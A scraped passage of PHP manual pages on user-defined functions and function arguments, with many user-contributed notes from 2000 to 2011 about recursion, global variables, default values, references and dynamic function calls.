runkit_function_remove
runkit_function_redefine
maybe to implement perl's Memoize module
tom pittlik 04-Feb-2006 11:53
This is a way of formatting different strings with different mandatory functions and is especially useful when processing form data or outputting database fields using structured configuration files:

<?

function format_string($string,$functions)
{
    $funcs = explode(",",$functions);

    foreach ($funcs as $func)
    {
        if (function_exists($func)) $string = $func($string);
    }

    return $string;
}

echo format_string("  <b>   this is a test         </b>","strip_tags,strtoupper,trim");
// outputs "THIS IS A TEST"

?>
gnirts dot REMOVE_THIS at HATE_SPAM dot gmail dot com 04-Jan-2006 10:11
If you want to validate that a string could be a valid function name, watch out. preg_match() matches anywhere inside the test string, so strings like 'foo#' and '    bar' will pass with the regex that they give ([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)

The solution is to use anchors in the regex (^ and $) and check the offset of the match (using PREG_OFFSET_CAPTURE).

<?

function is_valid_function_name( $function_name_to_test )
{
    $number_of_matches = preg_match( '<^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$>'
                                       , $function_name_to_test
                                       , $match_offset_array
                                       , PREG_OFFSET_CAPTURE );

    if( $number_of_matches === false )
    {
        trigger_error( 'Error with preg_match' , E_USER_WARNING );
    }

    if( $match_offset_array[0][1] !== 0 || $number_of_matches !== 1 )
    {
        return false;
    }
    else
    {
        return true;
    }
}

?>
p at onion dot whitefyre dot com 19-Jul-2005 08:39
One potentially useful feature is that in function and variable names bytes within 0x7f-0xff are allowed. This means you can use any UTF-8 in a variable name.

As a simple example (this only uses latin-1 characters, but the concept is the same):

<?php
function ²($n) {
    return pow($n, 2);
}

function ¶($string) {
    return '<p>'.str_replace("\n\n", "</p>\n<p>", $string).'</p>';
}

echo ²(4); //16

echo ¶("Some text\n\nbroken into paragraphs");
?>

You can use this to write PHP code in your native language, or even better make creative use of symbols like above to make your code understandable by everyone.
dma05 at web dot de 27-Apr-2005 05:24
@ gilthansNOSPAAM at gmailSPAAMBLOCK dot com

i think you just fried your stack like the manual reads ;)
works up to ~17000-30000 iterations for me... although, that's on a linux box with php5 as an apache2 module...
maybe the cgi version has a smaller stack...

the problem seems logical, because every time your function iterates, it puts another pointer on the stack (the one to your variable), and sooner or later you're out of memory there, so no more pointers to be added which should make it crash, if you're using one global variable, then there's no pointers to be added to your stack and it won't run out (well, not so fast at least, you still need to add other pointers to the stack but at least one less)...
riseofthethorax at earthlink dot net 02-Apr-2005 05:49
I know functions can't be undefined, now..

But how about this..

Include a file, the file defines a variable called
"$function_name".. $function_name contains
the name of the actual function.. The actual function_name
is either created insitu or when the include file was created.
The actual function name, in any case, has a random string
associated with it (20 character alphanumeric?)..

The file including this function, could somehow dynamically
call the function using the $function_name variable..

Since the actual function name is some name plus a random string, it produces a kind of virtual scope (or a statically improbable conflict). Then  you could call the same function multiples of times in the process of a script, and not have to worry about function name clashes.. Of course this is a memory leak in the making, but it allows one to essentially call similar named functions in the current state of PHP configuration..
gilthansNOSPAAM at gmailSPAAMBLOCK dot com 28-Mar-2005 09:36
Note that a function that calls a variable by reference CANNOT be used recursively, it will generate a CGI error (at least on my windows platform).
Thus:
<?php
$foo = 0;
function bar(&$foo){
    $foo++;
    echo $foo."\n";
    if($foo < 10)
        bar($foo);
}
?>
Will NOT work.
Instead, you should just use global variables.
<?php
$foo = 0;
function bar(){
    global $foo;
    $foo++;
    echo $foo."\n";
    if($foo < 10)
        bar($foo);
}
?>
This, of course, assuming that you need to use $foo in other functions or parts of code. Otherwise you can simply pass the variable regulary and there should be no problems.
roy at intelligentdashimaging dot com 07-Feb-2005 01:17
Here's how to get static function behavior and instantiated object behavior in the same function
<?php

// Test of static/non-static method overloading, sort of, for php
class test {
    var $Id = 2;
    function priint ($id = 0) {
        if ($id == 0) {
            echo $this->Id;
            return;
        }
        echo $id;
        return;
    }
}
$tc = new test ();
$tc->priint ();
echo "\n";
test::priint (1);
/* output:
2
1
*/
?>
spy-j at rainbowtroopers dot com 21-Dec-2004 03:01
Take care when using parameters passed by reference to return new values in it:

<?PHP

function foo( &$refArray, ....) {

  UNSET($refArray); //<-- fatal!!!

  for (....) {
    $refArray[] = ....
  }//end for

}//end foo

?>

I tried to make sure the passed variable is empty so i can fill it up as an array. So i put the UNSET. Unfortunately, this seems to cause a loss with the reference to the passed variable: the filled array was NOT returned in the passed argument refArray!

I have found that replacing unset as follows seems to work correctly:

<?PHP

function bar( &$refArray, ....) {

  if (!EMPTY($refArray)) $refArray = '';

  : : :

}//end bar

?>
chris at infinitycubed dot net 10-Aug-2004 06:39
Remember, theres an additional overhead when calling functions, so if performance is key to what you are doing, you want to avoid calling out to other functions.

In a function I was making that found out the distance and angle from 1 point to another, there were 3 calls to a small validation function. It averaged ~0.017 seconds for 400 calls to the function, and with these calls replaced with the actual code, this lowered to 0.011-0.012. So, if you need performance, avoid using other functions.
jose at rondamagazine dot com 17-Jul-2004 06:34
A PHP4 -> PHP5 migration issue:

In PHP5, you can't declare a function inside a class method and call it from inside the method. An example:

<?php
class A {
   function f() {
      function inside_f() {
         echo "I'm inside_f";
      }
      echo "I'm f";
      inside_f();
   }
}
?>

PHP5 reports an "Fatal error:  Non-static method A::inside_f() cannot be called statically ..."

Solution: Convert inside_f() to a class method, so you can call it from f() as $this->inside_f().
This will work in PHP4 and PHP5.
And, if you don't mind PHP4 compatibility, you should probably declare inside_f() as a private method, because it is declared inside f() for its private use (at least, that's what I believed I was doing; only now have I discovered that the original inside_f(), as declared, is a global function).
removeloop at removesuperinfinite dot com 03-Aug-2003 01:56
Method overloading is however permitted.

<?php
class A {
        function A() { }

        function ech() {
                $a = func_get_args();
                for( $t=0;$t<count($a); $t++ ) {
                        echo $a[$t];
                }
        }
}

$test = new A();
$test->ech(0,1,2,3,4,5,6,7,8,9);

?>

// output:
// 0123456789
kop at meme dot com 08-Jun-2003 03:08
You can preface a (builtin php ?) function call with an @ sign, as in:

@foo();

This will supress the injection of error messages into the data stream output to the web client.  You might do this, for example, to supress the display of error messages were foo() a database function and the database server was down.  However, you're probably better off using php configuration directives or error handling functions than using this feature.

See the section on error handling functions.
Storm 09-May-2003 07:55
I think it worthy of noting (for noobies such as myself):
You can define access to a global variable before it is defined when defining a function as long as the variable is defined before the function is called. This had me baffled for a few hours til I tried it out...lol. Here's a quick example:

Perfectly valid:
-------------------------
function hello() {
   global $hi;

   echo $hi;
}

$hi = 'Hi There!'; // Var defined after function is defined

hello();
-------------------------

I know most of the Gurus persay already knew this, but I didn't! :p This helps ;-)
php at simoneast dot net 10-Apr-2003 09:59
If you're frustrated by not having access to global variables from within your functions, instead of declaring each one (particularly if you don't know them all) there are a couple of workarounds...

If your function just needs to read global variables...

function aCoolFunction () {
    extract($GLOBALS);
....

This creates a copy of all the global variables in the function scope.  Notice that because it's a copy of the variables, changing them won't affect the variables outside the function and the copies are lost at the conclusion of the function.

If you need to write to your global variables, I haven't tested it, but you could probably loop through the $GLOBALS array and make a "global" declaration for each one.  Then you could modify the variables.

Please note that this shouldn't be standard practice, but only in the case where a function needs access to all the global variables when they may be different from one call to another.  Use the "global var1, var2..." declaration where possible.

Hope that helps some people.

Simon.
nutbar at innocent dot com 12-Mar-2003 12:06
Regarding the comments about having to declare global variables inside of functions before you can use them...

Lots of you seem to complain about having to declare lots of variables, when really there's one simple solution to this:

global $GLOBALS;

This will define the $GLOBALS variable inside your code, and since that variable is basically like the mother of all variables - *presto*, you now have access to any variable in PHP.
mittag /// add /// marcmittag /// de 23-Jan-2003 04:31
To devciti at yahoo dot com

The section "returning values" of the docu says:

=====
You can't return multiple values from a function, but similar results can be obtained by returning a list.

function small_numbers()
{
    return array (0, 1, 2);
}
list ($zero, $one, $two) = small_numbers();
=====
arathorn at ifrance dot com 31-Dec-2002 07:02
If u want to put somes variables in function that was'nt passed by it, you must use "global" :

<?php

$op2 = blabla;
$op3 = blabla;

function foo($op1)
{
  global $op2, $op3;

    echo $op1;
    echo $op2;
    echo $op3;
}

?>
misc dot anders at feder dot dk 24-Dec-2002 03:28
PHP allows you to address functions in a very dynamic way:

$foo = "bar";
$foo("fubar");

The above will call the bar function with the "fubar" argument.
albaity at php4web dot com 26-Oct-2002 07:06
To use class from function
you need first to load class OUT the function
and then you can use the class functions from your function
example :
class Cart
{
    var $items;  // Items in our shopping cart

    // Add $num articles of $artnr to the cart

    function add_item ($artnr, $num)
    {
        $this->items[$artnr] += $num;
    }

    // Take $num articles of $artnr out of the cart

    function remove_item ($artnr, $num)
    {
        if ($this->items[$artnr] > $num) {
            $this->items[$artnr] -= $num;
            return true;
        } else {
            return false;
        }
    }
}

------------------------
<?php
$cart = new Cart;

function additem($var1,$var2){
$cart->add_item($var1, $var2);
}
additem(1,10);
?>
germanAlonso at keltoi-web dot com 10-Aug-2002 07:17
Although yasuo_ohgaki@hotmail.com has already pointed the recursion support on PHP, here's another example, wich shows clearly the mechanism of recursive algorithms:

function fact($i){
  if($i==1){
    return 1;
  }else{
    return $i*fact($i-1);
  }
}

It returns $i! (supposing $i is a valid positive integer greater than 0).
bishop 30-Apr-2002 07:54
Consider:

function a() {
    function b() {
        echo 'I am b';
    }
    echo 'I am a';
}

a();
a();

As you might NOT expect, the second call to a() fails with a "Cannot redeclare b()" error.  This behaviour is correct, insofar as PHP doesn't "allow functions to be redefined."

A work around:
function a() {
    if ( ! function_exists('b') ) {
        function b() {
            echo 'I am b';
        }
    }
    echo 'I am a';
}
fabio at city dot ac dot uk 14-Feb-2002 06:57
As a corollary to other people's contributions in this section, you have to be careful when transforming a piece of code in to a function (say F1). If this piece of code contains calls to another function (say F2), then each variable used in F2 and defined in F1 must be declared as GLOBAL both in F1 and F2. This is tricky.
xpaz at somm dot com 14-Nov-2001 12:47
It is possible to define a function from inside another function.
The result is that the inner function does not exist until the outer function gets executed.

For example, the following code:

function a () {
  function b() {
    echo "I am b.\n";
  }
  echo "I am a.\n";
}
if (function_exists("b")) echo "b is defined.\n"; else echo "b is not defined.\n";
a();
if (function_exists("b")) echo "b is defined.\n"; else echo "b is not defined.\n";

echoes:

b is not defined.
I am a.
b is defined.

Classes too can be defined inside functions, and will not exist until the outer function gets executed.
aboyd at ssti dot com 04-Apr-2001 08:34
[Editor's note: put your includes in the beginning of your script. You can call an included function, after it has been included                --jeroen]

The documentation states: "In PHP 3, functions must be defined before they are referenced. No such requirement exists in PHP 4."

I thought it wise to note here that there is in fact a limitation: you cannot bury your function in an include() or require().  If the function is in an include()'d file, there is NO way to call that function beforehand.  The workaround is to put the function directly in the file that calls the function.
kop at meme dot com 14-Dec-2000 03:14
See also about controlling the generation of error messages by putting @ in front of the function before you call it, in the section "error control operators".
GMCardoe at netherworldrpg dot net 24-Apr-2000 02:02
Stack overflow means your function called itself recursivly too many times and just completely filled up the processes stack. That error is there to stop a recursive call from completely taking up the entire system memory.
cap at capsi dot cx 22-Feb-2000 04:19
When using a function within a function, using global in the inner function will not make variables available that have been first initialized within the outer function.
php at paintbot dot com 04-Feb-2000 07:32
Important Note to All New Users: functions do NOT have default access to GLOBAL variables.  You must specify globals as such in your function using the 'global' type/keyword.  See the section on variables:scope.

This note should also be added to the documentation, as it would help the majority of programmers who use languages where globals are, well, global (that is, available from anywhere).  The scoping rules should also not be buried in subsection 4 of the variables section.  It should be front and center because I think this is probably one of the most non-standard and thus confusing design choices of PHP.

[Ed. note: the variables $_GET, $_POST, $_REQUEST, $_SESSION, and $_FILES are superglobals, which means you don't need the global keyword to use them inside a function]
goto
User-defined functions
Language Reference


User-defined functions

A function may be defined using syntax such as the following:

Example #1 Pseudo code to demonstrate function uses

<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
    echo "Example function.\n";
    return $retval;
}
?>

Any valid PHP code may appear inside a function, even other functions and class definitions.

Function names follow the same rules as other labels in PHP. A valid function name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*.

Tip

See also the Userland Naming Guide.

Functions need not be defined before they are referenced, except when a function is conditionally defined as shown in the two examples below.

When a function is defined in a conditional manner such as the two examples shown. Its definition must be processed prior to being called.

Example #2 Conditional functions

<?php

$makefoo = true;

/* We can't call foo() from here
   since it doesn't exist yet,
   but we can call bar() */

bar();

if ($makefoo) {
  function foo()
  {
    echo "I don't exist until program execution reaches me.\n";
  }
}

/* Now we can safely call foo()
   since $makefoo evaluated to true */

if ($makefoo) foo();

function bar()
{
  echo "I exist immediately upon program start.\n";
}

?>

Example #3 Functions within functions

<?php
function foo()
{
  function bar()
  {
    echo "I don't exist until foo() is called.\n";
  }
}

/* We can't call bar() yet
   since it doesn't exist. */

foo();

/* Now we can call bar(),
   foo()'s processing has
   made it accessible. */

bar();

?>

All functions and classes in PHP have the global scope - they can be called outside a function even if they were defined inside and vice versa.

PHP does not support function overloading, nor is it possible to undefine or redefine previously-declared functions.

Note: Function names are case-insensitive, though it is usually good form to call functions as they appear in their declaration.

Both variable number of arguments and default arguments are supported in functions. See also the function references for func_num_args(), func_get_arg(), and func_get_args() for more information.

It is possible to call recursive functions in PHP. However avoid recursive function/method calls with over 100-200 recursion levels as it can smash the stack and cause a termination of the current script.

Example #4 Recursive functions

<?php
function recursion($a)
{
    if ($a < 20) {
        echo "$a\n";
        recursion($a + 1);
    }
}
?>

User Contributed Notes

gestioni at gerry dot it 12-Nov-2010 10:43
<?php

function A(){
    echo("Hello, I'm A\n");

}
echo("I just defined A\n");
return;

function B(){
    echo("Hello, I'm B\n");

}
echo("I just defined B\n");
?>

If you include this file, the second echo() is not excuted but B() is still defined
Functions
Function arguments
Functions


Function arguments

Information may be passed to functions via the argument list, which is a comma-delimited list of expressions. The arguments are evaluated from left to right.

PHP supports passing arguments by value (the default), passing by reference, and default argument values. Variable-length argument lists are also supported, see also the function references for func_num_args(), func_get_arg(), and func_get_args() for more information.

Example #1 Passing arrays to functions

<?php
function takes_array($input)
{
    echo "$input[0] + $input[1] = ", $input[0]+$input[1];
}
?>

Making arguments be passed by reference

By default, function arguments are passed by value (so that if the value of the argument within the function is changed, it does not get changed outside of the function). To allow a function to modify its arguments, they must be passed by reference.

To have an argument to a function always passed by reference, prepend an ampersand (&) to the argument name in the function definition:

Example #2 Passing function parameters by reference

<?php
function add_some_extra(&$string)
{
    $string .= 'and something extra.';
}
$str = 'This is a string, ';
add_some_extra($str);
echo $str;    // outputs 'This is a string, and something extra.'
?>

Default argument values

A function may define C++-style default values for scalar arguments as follows:

Example #3 Use of default parameters in functions

<?php
function makecoffee($type = "cappuccino")
{
    return "Making a cup of $type.\n";
}
echo makecoffee();
echo makecoffee(null);
echo makecoffee("espresso");
?>

The above example will output:

Making a cup of cappuccino.
Making a cup of .
Making a cup of espresso.

PHP also allows the use of arrays and the special type NULL as default values, for example:

Example #4 Using non-scalar types as default values

<?php
function makecoffee($types = array("cappuccino"), $coffeeMaker = NULL)
{
    $device = is_null($coffeeMaker) ? "hands" : $coffeeMaker;
    return "Making a cup of ".join(", ", $types)." with $device.\n";
}
echo makecoffee();
echo makecoffee(array("cappuccino", "lavazza"), "teapot");
?>

The default value must be a constant expression, not (for example) a variable, a class member or a function call.

Note that when using default arguments, any defaults should be on the right side of any non-default arguments; otherwise, things will not work as expected. Consider the following code snippet:

Example #5 Incorrect usage of default function arguments

<?php
function makeyogurt($type = "acidophilus", $flavour)
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // won't work as expected
?>

The above example will output:

Warning: Missing argument 2 in call to makeyogurt() in
/usr/local/etc/httpd/htdocs/phptest/functest.html on line 41
Making a bowl of raspberry .

Now, compare the above with this:

Example #6 Correct usage of default function arguments

<?php
function makeyogurt($flavour, $type = "acidophilus")
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // works as expected
?>

The above example will output:

Making a bowl of acidophilus raspberry.

Note: As of PHP 5, default values may be passed by reference.

Variable-length argument lists

PHP has support for variable-length argument lists in
user-defined functions. This is really quite easy, using the
func_num_args(),
func_get_arg(), and
func_get_args() functions.

No special syntax is required, and argument lists may still be explicitly provided with function definitions and will behave as normal.

User Contributed Notes

jacob at jacobweber dot com 13-Jun-2011 02:05
This page states:

"Note that when using default arguments, any defaults should be on the right side of any non-default arguments; otherwise, things will not work as expected."

There seems to be one exception to this. Say you're using type-hinting for an argument, but you want to allow it to be NULL, and you want additional required arguments to the right of it. PHP allows this, as long as you give it the type-hinted argument a default value of NULL. For example:

<?php
function sample(ClassA $a = NULL, $b) {
}
sample(new ClassA(), ''); // success
sample(new ClassB(), ''); // failure; wrong type
sample(NULL, ''); // success
sample(new ClassA()); // failure; missing second argument
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 15-Jun-2010 04:48
You can use (very) limited signatures for your functions, specifing type of arguments allowed.

For example:

public function Right( My_Class $a, array $b )

tells first argument have to by object of My_Class, second an array. My_Class means that you can pass also object of class that either extends My_Class or implements (if My_Class is abstract class) My_Class. If you need exactly My_Class you need to either make it final, or add some code to check what $a really.

Also note, that (unfortunately) "array" is the only built-in type you can use in signature. Any other types i.e.:

public function Wrong( string $a, boolean $b )

will cause an error, because PHP will complain that $a is not an *object* of class string (and $b is not an object of class boolean).

So if you need to know if $a is a string or $b bool, you need to write some code in your function body and i.e. throw exception if you detect type mismatch (or you can try to cast if it's doable).
rburnap at intelligent dash imaging dot com 13-May-2010 05:19
This may be helpful when you need to call an arbitrary function known only at runtime:

You can call a function as a variable name.
<?php

function foo(){
    echo"\nfoo()";
}

function callfunc($x, $y = '')
{
    if( $y=='' )
    {
        if( $x=='' )
             echo "\nempty";
        else $x();
    }
    else
         $y->$x();
}

class cbar {
    public function fcatch(){ echo "\nfcatch"; }
}

$x = '';
callfunc($x);
$x = 'foo';
callfunc($x);
$o = new cbar();
$x = 'fcatch';
callfunc($x, $o);
echo "\n\n";
?>

The code will output

empty
foo()
fcatch
mracky at pacbell dot net 29-Mar-2010 09:40
Nothing was written here about argument types as part of the function definition.

When working with classes, the class name can be used as argument type.  This acts as a reminder to the user of the class, as well as a prototype for php  control. (At least in php 5 -- did not check 4).

<?php
class foo {
  public $data;
  public function __construct($dd)
  {
    $this->data = $dd;
  }
};

class test {
  public $bar;

  public function __construct(foo $arg) // Strict typing for argument
  {
    $this->bar = $arg;
  }
  public function dump()
  {
    echo $this->bar->data . "\n";
  }

};

$A = new foo(25);
$Test1 = new test($A);
$Test1->dump();
$Test2 = new test(10); // wrong argument for testing

?>
outputs:
25
PHP Fatal error:  Argument 1 passed to test::__construct() must be an object of class foo, called in testArgType.php on line 27 and defined in testArgType.php on line 13
pigiman at gmail dot com 23-Mar-2010 09:37
Hey,

I started to learn for the Zend Certificate exam a few days ago and I got stuck with one unanswered-well question.
This is the question:
“Absent any actual need for choosing one method over the other, does passing arrays by value to a read-only function reduce performance compared to passing them by reference?’

This question answered by Zend support team at Zend.com:

"A copy of the original $array is created within the function scope. Once the function terminates, the scope is removed and the copy of $array with it." (By massimilianoc)

Have a nice day!

Shaked KO
allankelly at gmail dot com 21-Mar-2009 02:34
I like to pass an associative array as an argument. This is reminiscent of a Perl technique and can be tested with is_array. For example:
<?php
function div( $opt )
{
    $class = '';
    $text  = '';
    if( is_array( $opt ) )
    {
        foreach( $opt as $k => $v )
        {
            switch( $k )
            {
                case 'class': $class = "class = '$v'";
                                 break;
                case 'text': $text = $v;
                                 break;
            }
        }
    }
    else
    {
        $text = $opt;
    }
    return "<div $class>$text</div>";
}
?>
herenvardoREMOVEatSTUFFgmailINdotCAPScom 17-Jan-2009 12:48
There is a nice trick to emulate variables/function calls/etc as default values:

<?php
$myVar = "Using a variable as a default value!";

function myFunction($myArgument=null) {
    if($myArgument===null)
        $myArgument = $GLOBALS["myVar"];
    echo $myArgument;
}

// Outputs "Hello World!":
myFunction("Hello World!");
// Outputs "Using a variable as a default value!":
myFunction();
// Outputs the same again:
myFunction(null);
// Outputs "Changing the variable affects the function!":
$myVar = "Changing the variable affects the function!";
myFunction();
?>
In general, you define the default value as null (or whatever constant you like), and then check for that value at the start of the function, computing the actual default if needed, before using the argument for actual work.
Building upon this, it's also easy to provide fallback behaviors when the argument given is not valid: simply put a default that is known to be invalid in the prototype, and then check for general validity instead of a specific value: if the argument is not valid (either not given, so the default is used, or an invalid value was given), the function computes a (valid) default to use.
Don dot hosek at gmail dot com 20-Nov-2007 05:50
Actually the use of class or global constants does buy us something. It helps enforce the DRY (don't repeat yourself) principle.
jesdisciple @t gmail -dot- com 06-Nov-2007 06:07
@ jbarnett at flowershopnetwork dot com:

Yes, but that doesn't get us anywhere; you could just as well have said:
myMethod($arg = "constant value")

Class constants must have constant values, as well. http://www.php.net/manual/en/language.oop5.constants.php
conciseusa at yahoo[nospammm] dot com 22-Apr-2007 08:03
With regards to:

It is also possible to force a parameter type using this syntax. I couldn't see it in the documentation.
function foo(myclass par) { }

I think you are referring to Type Hinting. It is documented here: http://ch2.php.net/language.oop5.typehinting
pdenny at magmic dot com 18-Feb-2007 09:43
Note that constants can also be used as default argument values
so the following code:

  define('TEST_CONSTANT','Works!');
  function testThis($var=TEST_CONSTANT) {
      echo "Passing constants as default values $var";
  }
  testThis();

will produce :

Passing constants as default values Works!

(I tried this in both PHP 4 and 5)
John 15-Nov-2006 03:20
This might be documented somewhere OR obvious to most, but when passing an argument by reference (as of PHP 5.04) you can assign a value to an argument variable in the function call. For example:

function my_function($arg1, &$arg2) {
  if ($arg1 == true) {
    $arg2 = true;
  }
}
my_function(true, $arg2 = false);
echo $arg2;

outputs 1 (true)

my_function(false, $arg2 = false);
echo $arg2;

outputs 0 (false)
keuleu at hotmail dot com 19-Oct-2006 02:59
I ran into the problem that jcaplan mentionned. I had just finished building 2 handler classes and one interface.

During my testing I realized that my handlers were not initializing their variables to their default values when my interface was calling them with 'null' values:

this is a simplified illustration:

<?php

function some_function($v1='value1',$v2='value2',$v3='value3'){
  echo $v1.',  ';
  echo $v2.',  ';
  echo $v3;
}

some_function(); //this will behave as expected, displaying 'value1,  value2,  value3'
some_function(null,null,null); //this on the other hand will display ',  ,' since the variables will take the null value.
?>

I came to about the same conclusion as jcaplan. To force your function parameters to take a default value when a null is passed you need to include a conditionnal assignment inside the function definition.

<?php
function some_function($v1='value1',$v2='value1',$v3=null){
  $v1=(is_null($v1)?'value1':$v1);
  $v2=(is_null($v2)?'value2':$v2);
  $v3=(is_null($v3)?'value3':$v3);
  echo $v1;
  echo $v2;
  echo $v3;
}
/*
The default value whether null or an actual value is not so important in the parameter list, what is important is that you include it to allow a default behavior. The default value in the declaration becomes more important at this point:
*/
?>
jcaplan at bogus dot amazon dot com 09-Mar-2006 03:11
In function calls, PHP clearly distinguishes between missing arguments and present but empty arguments.  Thus:

<?php
function f( $x = 4 ) { echo $x . "\\n"; }
f(); // prints 4
f( null ); // prints blank line
f( $y ); // $y undefined, prints blank line
?>

The utility of the optional argument feature is thus somewhat diminished.  Suppose you want to call the function f many times from function g, allowing the caller of g to specify if f should be called with a specific value or with its default value:

<?php
function f( $x = 4 ) {echo $x . "\\n"; }

// option 1: cut and paste the default value from f's interface into g's
function g( $x = 4 ) { f( $x ); f( $x ); }

// option 2: branch based on input to g
function g( $x = null ) { if ( !isset( $x ) ) { f(); f() } else { f( $x ); f( $x ); } }
?>

Both options suck.

The best approach, it seems to me, is to always use a sentinel like null as the default value of an optional argument.  This way, callers like g and g's clients have many options, and furthermore, callers always know how to omit arguments so they can omit one in the middle of the parameter list.

<?php
function f( $x = null ) { if ( !isset( $x ) ) $x = 4; echo $x . "\\n"; }

function g( $x = null ) { f( $x ); f( $x ); }

f(); // prints 4
f( null ); // prints 4
f( $y ); // $y undefined, prints 4
g(); // prints 4 twice
g( null ); // prints 4 twice
g( 5 ); // prints 5 twice

?>
ksamvel at gmail dot com 07-Feb-2006 07:55
by default Classes constructor does not have any arguments. Using small trick with func_get_args() and other relative functions constructor becomes a function w/ args (tested in php 5.1.2). Check it out:

class A {
    public function __construct() {
        echo func_num_args() . "<br>";
        var_dump( func_get_args());
        echo "<br>";
    }
}

$oA = new A();
$oA = new A( 1, 2, 3, "txt");

Output:

0
array(0) { }
4
array(4) { [0]=> int(1) [1]=> int(2) [2]=> int(3) [3]=> string(3) "txt" }
Sergio Santana: ssantana at tlaloc dot imta dot mx 31-Oct-2005 02:59
PASSING A "VARIABLE-LENGTH ARGUMENT LIST OF REFERENCES" TO A FUNCTION
As of PHP 5, Call-time pass-by-reference has been deprecated, this represents no problem in most cases, since instead of calling a function like this:
   myfunction($arg1, &$arg2, &$arg3);

you can call it
   myfunction($arg1, $arg2, $arg3);

provided you have defined your function as
   function myfuncion($a1, &$a2, &$a3) { // so &$a2 and &$a3 are
                                                             // declared to be refs.
    ... <function-code>
   }

However, what happens if you wanted to pass an undefined number of references, i.e., something like:
   myfunction(&$arg1, &$arg2, ..., &$arg-n);?
This doesn't work in PHP 5 anymore.

In the following code I tried to amend this by using the
array() language-construct as the actual argument in the
call to the function.

<?php

  function aa ($A) {
    // This function increments each
    // "pseudo-argument" by 2s
    foreach ($A as &$x) {
      $x += 2;
    }
  }

  $x = 1; $y = 2; $z = 3;

  aa(array(&$x, &$y, &$z));
  echo "--$x--$y--$z--\n";
  // This will output:
  // --3--4--5--
?>

I hope this is useful.

Sergio.
grinslives13 at hotmail dot com~=s/i/ee/g 24-Sep-2005 10:55
Given that we have two coding styles:

#
# Code (A)
#
funtion foo_a (&$var)
{
    $var *= 2;
    return $var;
}
foo_a($a);

#
# Code (B)
#
function foo_b ($var)
{
    $var *= 2;
    return $var;
}
foo_b(&$a);

I personally wouldn't recommend (B) - I think it strange why php would support such a convention as it would have violated foo_b's design - its use would not do justice to its function prototype. And thinking about such use, I might have to think about copying all variables instead of working directly on them...

Coding that respects function prototypes strictly would, I believe, result in code that is more intuitive to read. Of course, in php <=4, not being able to use default values with references, we can't do this that we can do in C:

#
# optional return-value parameters
#
int foo_c (int var, int *ret)
{
    var *= 2;
    if (ret) *ret = var;
    return var;
}
foo_c(2, NULL);

Of course, since variables are "free" anyway, we can always get away with it by using dummy variables...

zlel
nate at natemurray dot com 30-Aug-2005 03:15
Of course you can fake a global variable for a default argument by something like this:
<?php
function self_url($text, $page, $per_page = NULL) {
  $per_page = ($per_page == NULL) ? $GLOBALS['gPER_PAGE'] : $per_page; # setup a default value of per page
  return sprintf("<a href=%s?page=%s&perpage=%s>%s</a>", $_SERVER["PHP_SELF"], $page, $per_page, $text);
}
?>
Angelina Bell 25-Jul-2005 12:40
It is so easy to create a constant that the php novice might do so accidently while attempting to call a function with no arguments.  For example:
<?php
function LogoutUser(){
// destroy the session, the cookie, and the session ID
  blah blah blah;
  return true;
}
function SessionCheck(){
  blah blah blah;
// check for session timeout
...
    if ($timeout) LogoutUser;  // should be LogoutUser();
}
?>

OOPS!  I don't notice my typo, the SessionCheck function
doesn't work, and it takes me all afternoon to figure out why not!

<?php
LogoutUser;
print "new constant LogoutUser is " . LogoutUser;
?>
balint , at ./ atres &*( ath !# cx 30-Jun-2005 02:59
(in reply to benk at NOSPAM dot icarz dot com / 24-Jun-2005 04:21)
I could make use of this assignment, as below, to have a permanently existing, but changing data block (because it is used by many other classes), where the order or the refreshed contents are needed for the others: (DB init done by one, an other changed the DB, and thereafter all others need to use the other DB without creating new instances, or creating a log array in one, and we would like to append the new debug strings to the array, atmany places.)

class xyz {
    var argN = array();
    function xyz($argN) {
        $this->argN = &$argN;
    }
    function etc($text) {
        array_push($this->argN, $text);
    }
}
class abc {
    var argM = array();
    function abc($argM) {
        $this->argM = &$argM;
    }
    function etc($text) {
        array_push($this->argM, $text);
    }
}

$messages=array("one", "two");
$x = new xyz(&$messages);
$x->etc("test");

$a = new abc(&$messages);
$a->etc("tset");

...
benk at NOSPAM dot icarz dot com 24-Jun-2005 07:21
This isn't necessarily the right place to store this piece of information, but I discovered a neat feature of the 'by reference' operator (&).  You can use this assignment operator to assign a pointer to another variable. This makes it possible to update BOTH varaibles and have the value change in the other.  I have not yet explored scope of this test, but here is a simple test that I ran on PHP 4.3.9 with the following results:

$abc = "Test";
$def = "";
print("ABC = $abc\tDEF = $def\n");        // ABC = Test      DEF =
$def = &$abc;
print("ABC = $abc\tDEF = $def\n");        // ABC = Test      DEF = Test
$abc = "test2";
print("ABC = $abc\tDEF = $def\n");        // ABC = test2     DEF = test2
$def = "nextval";
print("ABC = $abc\tDEF = $def\n");        // ABC = nextval   DEF = nextval
unset($def);
print("ABC = $abc\tDEF = $def\n");        // ABC = nextval   DEF =
$def = "yet another value";
print("ABC = $abc\tDEF = $def\n");        // ABC = nextval   DEF = yet another value
csaba at alum dot mit dot edu 26-Jan-2005 04:58
Argument evaluation left to right means that you can save yourself a temporary variable in the example below whereas $current = $prior + ($prior=$current) is just the same as $current *= 2;

function Sum() { return array_sum(func_get_args()); }
function Fib($n,$current=1,$prior=0) {
    for (;--$n;) $current = Sum($prior,$prior=$current);
    return $current;
}

Csaba Gabor
PS.  You could, of course, just use array_sum(array(...)) in place of Sum(...)
heck AT fas DOT harvard DOT edu 24-Mar-2004 05:49
I have some functions that I'd like to be able to pass arguments two ways: Either as an argument list of variable length (e.g. func(1, 2, 3, 4)) or as an array (e.g., func(array(1,2,3,4)). Only the latter can be constructed on the fly (e.g., func($ar)), but the syntax of the former can be neater.

The way to do it is to begin the function as follows:
  $args = func_get_args();
  if (is_array ($args[0]))
    $args = $args[0];
Then one can just use $args as the list of arguments.
thesibster at hotmail dot com 30-Jun-2003 11:43
Call-time pass-by-ref arguments are deprecated and may not be supported later, so doing this:

----
function foo($str) {
    $str = "bar";
}

$mystr = "hello world";
foo(&$mystr);
----

